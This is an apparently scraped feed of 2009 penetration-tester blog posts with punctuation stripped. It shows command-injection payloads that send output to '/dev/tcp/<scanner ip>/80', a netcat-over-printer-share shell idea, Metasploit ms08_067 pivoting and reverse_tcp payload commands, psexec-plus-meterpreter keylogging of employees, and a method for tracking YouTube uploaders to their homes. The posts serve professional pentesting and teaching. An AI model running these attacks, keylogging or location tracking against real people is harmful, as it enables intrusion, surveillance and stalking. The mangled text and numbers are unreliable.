whosubmitted answers, I feel really good to be included in that list of"notable security studs" Thanks to Ed for putting together a funchallenge I always learn a lot any time I do anything related to JediMaster SkoudoChallenge resultsTHEN I see this entry on Wesley's blog on pretending to be a printerwith netcat It occurs to me that this is the other end of my netcatw/o netcat shell shoveling attempts I blogged about back April 08Using that technique I was able to shovel command output to netcatrunning on an arbitrary port But I really want a bidirectionalinteractive shell The thought is this1 Share a netcat listener on my linux box over SMB 2 That netcatprinter share must be a BIDIRECTIONAL printer and not be spooled3 Netuse lpt1 \attackeripetcatshare4 commandcom lpt1commandcom The 16 bit predecessor to CMDEXE allows you to redirectI/O to a device Seems like it should work This should be funIMAGEhttp://www.secuobs.com/revue/news/88203.shtmlhttp://www.secuobs.com/revue/news/88203.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I won't be the first to say it, but its worth repeating; No scanner is asubstitute for a human penetration test That said, I find thatWebInspect saves me a lot of time and often either findsvulnerabilities for me OR, just as often, generates error messagesthat lead me to finding issues pretty quickly I like to think of itas a web app fuzzer on steroids Here is a custom signature I've addedto help me cover my basesWhen WebInspect scans for arbitrary command execution, it will onlydetect the flaw when the results of the command execution are returnedto the browser For example, it will inject "; id" into all the fieldon a page If it doesn't see "uid=0root " or preferrably the uidfor an a less priveleged apache httpd user returned from the webserver somewhere in that response then it doesn't detect thevulnerability But the web server very well may have executed codeinvisibly Consider this example:A website has a function to submit comments to the websiteadministrator The comment form takes a field of user input and makesit the subject line of an email to the website administrator The backend system passes the user input as the -s parameter to /usr/bin/mailsending an email to the admin If the back end fails to properlysanitize input then WebInspect would successfully inject "/usr/bin/mail -f subject; id" but the results of id would not bereturned in the browser and thus go undetectedHere is something that can make detecting these issues a littleeasier Use the "POLICY MANAGER" to add a "CUSTOM CHECK" that does"PARAMETER INJECTION" Have your new custom check send the followingcommand";date /dev/tcp/your scanner ip address/80"As you run your scan have a netcat listener with -L capital Lrunning to catch the results as follows:nc -L -p 80It will still require some work to figure out exactly which parameterwas vulnerable to the attack, but the time displayed in your netcatlistener will help to narrow your searchIn addition to injecting a semicolin you will probably want to createall of these signatures as well"date /dev/tcp/your scanner ip address/80""etdate /dev/tcp/yourscanner ip address/80""`date /dev/tcp/your scanner ip address/80""```date /dev/tcp/your scanner ip address/80""date /dev/tcp/yourscanner ip address/80"and various combinations of those attacks:"|et;"date /dev/tcp/your scanner ip address/80"If "date" doesn't narrow it down for you enough you might try this"tail/var/log/apache/accesslog /dev/tcp/your scanner ip address/80"IMAGEhttp://www.secuobs.com/revue/news/88202.shtmlhttp://www.secuobs.com/revue/news/88202.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Can you use YouTubecom to find out where a video was uploaded I’m notsaying you can I’m not saying you can’t But I think it isinteresting to try Using the following method YouTube has led me tothe homes of a few people I know Does it work for youStart with YouTubes “Advanced Search”http://wwwyoutubecom/resultssearch_type=etsearch_query=#Click “Advanced Options” and “Show Map” Type in the userid of theperson your trying to location and click the SEARCH box inside theadvanced search box not the one at the top If the video is in thecircle it will be displayed in the result If not you will see “NoVideos found for xyz” and a playlist for the user you are searchingfor The difference between a hit/no hit is subtle Do a search forsomething you know is geoencoded so you can see the differenece As arule, if you see this then the video is not in the circleNo videos found for “USERXYZ”Playlist Results for USERXYZZoom in one click at a time making your circle smaller and smaller tosee if the video is still in the circle If search results disappears,its no longer in the circle Using this method you could take thesearch down to a city block or so Then you can switch tohttp://mapsgooglecom/ and enable the YouTube overlay You may findthe video is places directly on top of the house where it wasuploaded But a video overlay only appeared in 1 out of the 6 timesthat I tried to narrow down to a street It looks like the youtubeoverlays of Google maps doesn't have as much data as the map search onyoutubeI tested it with 3 video’s where I knew the target street address andin all 3 cases was able to locate their street In one of the threecases the Google maps overlay displayed the YouTube video on top ofthe correct house In one other case I narrowed down a video to astreet, but when I asked the account owner about the address he had noidea how that address related to his video although it was within afew miles of his house There were several cases where I couldn’t getYouTube to return any Geo-encoded video’s on that users account Itsnot science, but here is some interesting data being revealed by thatsearchUPDATE 1-31: It appears that in the test case where the video led meto a strange location several miles from the account owners home, thevideo may have been tagged to the geographic center of the zip code ofthe uploader This is going to be a significant stumbling block forany open source youtube geotagging missile guidances system projectsresulting from this ground breaking researchIMAGEhttp://www.secuobs.com/revue/news/88201.shtmlhttp://www.secuobs.com/revue/news/88201.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - In a penetration test your target is PII kept on a corporate file serverwhich I will call Victim2 You are outside the firewall but havegained access to an internal host, Victim1, when a user opened yourword document with an embeeded Meterpreter payload The stagerembedded in the word document made a REVERSE_TCP connection to yourmachine which uploaded metsrvdll to the victim The machine you haveaccess to Victim1 has unfiltered access to your target Victim2Victim2 is vulnerable to ms08_067_netapi Victim2 however, has NOaccess to the internet at all Were it not for the strict egressfirewall rules controlling Victim2 you could have used the ROUTEcommand to pivot your attack through your meterpreter session onVictim1 to Victim2, and have Victim2 send you a shell directly likethisYour IP = 19216811Victim1 = 10444Victim2 = 10555Background session 1 y/N ymsf exploitms08_067_netapi route add10555 255255255255 1msf exploitms08_067_netapi route printActive Routing Table====================Subnet Netmask Gateway ------ ------- ------- 10555 255255255255Session 1msf exploitms08_067_netapi sessions -lActive sessions===============Id Description Tunnel -- ----------- ------ 1 Meterpreter19216811:80 - 10444:1034msf exploitms08_067_netapi set RHOST 10555RHOST = 10555msfexploitms08_067_netapi set LHOST 19216811LHOST = 19216811msfexploitms08_067_netapi exploitAnd the session would be shoveled back to you from Victim2 BUT, thistime, strong egress filters prevailed and you can't make that directconnection So you decide to relay in back through Victim1 who doeshave access to the internet How do you do thatHere was my first thought I'll use meterpreter's PORTFWD command onVICTIM1 to setup a TCP relay and back to me Then I'll exploit Victim2and set my LHOST to Victim1 10444 and my LPORT to the PORTFWDlistener on Victim1 My attack will flow through my pivot and returnto me via the PORTFWD on Victim1Guess what You can't do that LHOST and LPORT have to be a valid IPaddress on your host or the exploit wont even launch Metasploit won'tlet your LHOST be the Victim1 Maybe I could do some CHOST,CPORTtrickery see the advanced options I couldn't make that work eitherOK so I can't launch an exploit But I can make one/msfpayloadwindows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X custompayloadexeThen I can use the Upload and Execute payloads to exploit victim2 andget my shell Nope That doesn't work either Why I think there is abug in PORTFWDWhen you run portfwd and don't provide the OPTIONAL -L ip address itappears to work You get something like thismeterpreter portfwd add -l 6666 -r 19216811 -p 80* Local TCPrelay created: 0000:6666 19216811:80But nothing is listening on port 6666 A quick "execute -c -f cmdexe;interact 1; netstat -na" shows nothing listening on the port An NMAPof the host confirms no listenerMacintosh:~ markbaggett$ nmap 10444 -p 6666Starting Nmap 476 http://nmaporg at 2009-02-03 22:47 ESTInterestingports on 10444:PORT STATE SERVICE6666/tcp closed ircNmap done: 1 IP address 1 host up scanned in 027 secondsMacintosh:~markbaggett$If I try to force the matter with a -L I get a nasty "Cant assignrequested address" messagemeterpreter portfwd add -L 10444 -l 6666 -r 19216811 -p 80-Error running command portfwd: Can't assign requested address -bind2 /Applications/framework3/lib/rex/socket/comm/localrb:138:in`bind'/Applications/framework3/lib/rex/socket/comm/localrb:138:in`create_by_type'/Applications/framework3/lib/rex/socket/comm/localrb:26:in`create'/Applications/framework3/lib/rex/socketrb:45:in`create_param'/Applications/framework3/lib/rex/socketrb:52:in`create_tcp'/Applications/framework3/lib/rex/socketrb:59:in`create_tcp_server'/Applications/framework3/lib/rex/services/local_relayrb:184:in`start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/netrb:219:in`cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`send'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/consolerb:94:in`run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:196:in`run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`each'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/consolerb:60:in`interact'/Applications/framework3/lib/rex/ui/text/shellrb:123:in`call'/Applications/framework3/lib/rex/ui/text/shellrb:123:in`run'/Applications/framework3/lib/rex/post/meterpreter/ui/consolerb:58:in`interact'/Applications/framework3/lib/msf/base/sessions/meterpreterrb:181:in`_interact'/Applications/framework3/lib/rex/ui/interactiverb:48:in`interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/corerb:918:in`cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`send'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:196:in`run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`each'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploitrb:143:in`cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`send'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:234:in`run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:196:in`run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`each'/Applications/framework3/lib/rex/ui/text/dispatcher_shellrb:191:in`run_single'/Applications/framework3/lib/rex/ui/text/shellrb:127:in`run'/msfconsole:82meterpreter ipconfigParallels OEM AdapterHardware MAC: 00:1c:42:99:40:22IP Address :10444Netmask : 2552552550OK So maybe there is a bug in portfwd I punt and I use a differentexternal TCP relay program I upload and execute FPIPEEXE and use iton Victim1 to relay the session from Victim2 back to My IPfpipeexe -i 10444 -l 5555 -r 80 19216811* Handler binding to LHOST 19216811* Started reverse handler*Starting the payload handler* Transmitting intermediate stagerfor over-sized stage191 bytes* Sending stage 2650 bytes*Sleeping before handling stage* Uploading DLL 75787 bytes*Upload completedAnd thats it Its all good with one VERY IMPORTANT exception I neverget* Meterpreter session 2 openedSo FAIL, FAIL FAIL I was unable to pivot a reverse_tcp meterpretersession I can reach my goal by using the Meterpreter session onVictim1 to access the file server on Victim2 with SMB ports, but thatsnot very sexy Ed Skoudis gender bender netcat relays are a goodoption, but I want to do it with just metasploit So what is the rightway to do this Do you know Add a commentIMAGEhttp://www.secuobs.com/revue/news/88200.shtmlhttp://www.secuobs.com/revue/news/88200.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Tenable has changed their license and you can no longer use theirvulnerability feeds for commercial use Alienvaultcom has a freenessus feed you can subscribe to It is available for use here Youwill notice two update programs there One for Unix and one forWindows What about the MAC To subscribe the nessus feeds on yourmacintosh do this:1 Download the linux update script2 Update it so it works on yourMAC as described belowFirst, in the "#Plugin dir" section you will need to to change theline that reads:NVT_DIR="/var/lib/nessus/plugins/"toNVT_DIR="/Library/Nessus/run/lib/nessus/plugins"3 chmod +x alienvault-feed-syncshIf you run the script by typing :/alienvault-feed-syncsh nessusyou will see an error about not being able to find the command"md5sum" The nessus feed update did work, but the script was unableto compare the hashes to verify it completed successfully That mightbe good enough for you and you can go about using your updated feedsBUT, I want to see that those hashes match Really, it is not buyingme much security because I'm downloading the "md5sum" file that I amusing for comparison from the same location as the files, but itsstill a good integrity check To fix it, you might waste your time asI did and change "findcmd md5sum" in the update script to "findcmdmd5" since MD5 is the name of the MD5SUM utility on OS X But if youdo you will get the following error:"Error: md5sums not correct Your NVT collection might be broken now"Why The version of default version of MD5 that comes with the OSdoesn't support the --check -c option For the file check to workyou will want to install the version of md5 that is installed on mostlinux distributions It is called md5sum and it is available forinstall through finkHappy bug huntingIMAGEhttp://www.secuobs.com/revue/news/88199.shtmlhttp://www.secuobs.com/revue/news/88199.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I'm going to mentor another SANS 504 session this fall HackingTechniques, Exploits and Incident response is one of my favorite SANSclasses This is my third mentor session and my second time running504 Last year SANS gave me the Mentor of the year award so they aregiving me some additional flexibility in the mentor format This timewe are running a modified mentor format We will have 13 more hours ofclass time than the normal mentor session That's more time forcovering the materials and doing exercises If your interested getfull details and sign up here Greater Augusta ISSA members contact mefor a very special discount code IMAGEhttp://www.secuobs.com/revue/news/88198.shtmlhttp://www.secuobs.com/revue/news/88198.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Metasploit added some pretty interesting payloads to its arsenal thisweek First, Meterpreter the only payload you'll ever need added akeylogger Plus, they have added some cool payloads for the Mac Thereare a set of isight payloads that will snap a picture from the isightcamera bind_tcp, reverse_tcp, etc This payload is an part of the"bundle inject" payload which are documented in the Mac OS X hackershandbook this looks like it could be the beginning of a meterpreterlike plug-able payload for OSX Charles Miller, winner of the newMacintosh Powerbooks at both the 2008 and 2009 Pwn2Own contests iscoauthor of the payloads along with Dina Dia Zovi That is definitelya book I will be adding to my library Here is a recent presentationwith some interesting information on the payloadsIMAGEhttp://www.secuobs.com/revue/news/88197.shtmlhttp://www.secuobs.com/revue/news/88197.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - OK I admit it I use metasploit at work Of course, I have permission touse it as a penetration testing tool, but I find it to be very usefulin other circumstances as well I often use the PSEXEC "exploit" toprovide username and password to fully patched machines foradministrative purposes For example, it has come in handy when thestandard remote access tools have been removed and there is a remotemachine that the support center is unable to access They, rightly so,have figured out that if the security team can get in to theirmachines without usernames and passwords, it should be pretty easy forthem to help recover a managed machine with known usernames andpasswords One option to troubleshoot the broken admin software is toremotely and temporarily install VNC on the stranded host I use toconnect to the remote c$ with administrator credentials, copy up vnc,import the required registry keys, start the server, fix the problem,clean up the registry, clean up the files and kill the service Now Ijust do this/msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypasswordsmbdomain=companydomain rhost=strandedmachineippayload=windows/vncinject/bind_tcp EThere is no clean up because the tools never reaches the disk of theremote machine This is very nice Doug Burks and I have even talkedabout stripping down /msfweb to a barebones version that just ask forip, username and password and launches the VNC session /msfwebvnccould be wrapped around a msfd instance on a central server thatallows the support center to recover machines We may do that someday Comment if that interests you Now meterpreter has introducedanother feature I suspect I will use at workI occasionally get asked to run a keylogger on an employees machinesMeterpreter now has this functionality built into it Before you dothis talk with HR and your legal team In my opinion no employeeinvestigations should ever occur without HR's involvement Maybe itsbecause wiretap laws make me nervous about using my KeyGhost logger,but anytime I'm dealing with keyloggers I like to talk with ourlawyers I've been told its not a problem many times before, but Icheck with them first Meterpreter on the other hand is software andthere is no "wire tapping" going on It should be much less intrusiveand your less likely to have the employee notice it Ask me to tellyou the horror story about the USB keylogger and the KVM system sometime Also, I can use meterpreter to keylog a remote office in only afew seconds So now a keylogger on a remote system is as easy as:/msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypasswordsmbdomain=companydomain rhost=monitoredmachineippayload=windows/meterpreter/bind_tcp E* Please wait while we load the module tree* Uploading DLL75787 bytes* Upload completed* Meterpreter session 1 opened1921681004:60701 - 1921681007:4444meterpreter grabdesktopTrying to hijack the input desktopmeterpreter keyscan_startStarting the keystroke sniffermeterpreter keyscan_dumpDumping captured keystrokesI'm so glad we use this encrypted im channel to exchange sensitivedata so the company doesn't catch us The stolen data ismeterpreter keyscan_stopInterestingly, the keylogger does not capture the usernames andpasswords when the user enters them at the screen saver logon promptsIt records ctrl-alt-delete but not the password This is actually agood thing from my intended use Not knowing employees passwordsprotects the integrity of our audit logsIMAGEhttp://www.secuobs.com/revue/news/88196.shtmlhttp://www.secuobs.com/revue/news/88196.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Here is a great SANS GCIA Gold paper for anyone interested in Snort 30Doug also created a very nice bootable live cd with Snort 30, Sguil,and other tools from the 503 track Check him out athttp://securityonionblogspotcomhttp://wwwsansorg/reading_room/whitepapers/detection/snort_3_0_beta_3_for_analysts_33068IMAGEhttp://www.secuobs.com/revue/news/88195.shtmlhttp://www.secuobs.com/revue/news/88195.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - "Just after midnight on Thursday, April 9, unidentified attackers climbeddown four manholes serving the Northern California city of Morgan Hilland cut eight fiber cables in what appears to have been an organizedattack on the electronic infrastructure of an American city Itsimplications, though startling, have gone almost un-reported"http://perenscom/works/articles/MorganHill/IMAGEhttp://www.secuobs.com/revue/news/88194.shtmlhttp://www.secuobs.com/revue/news/88194.shtml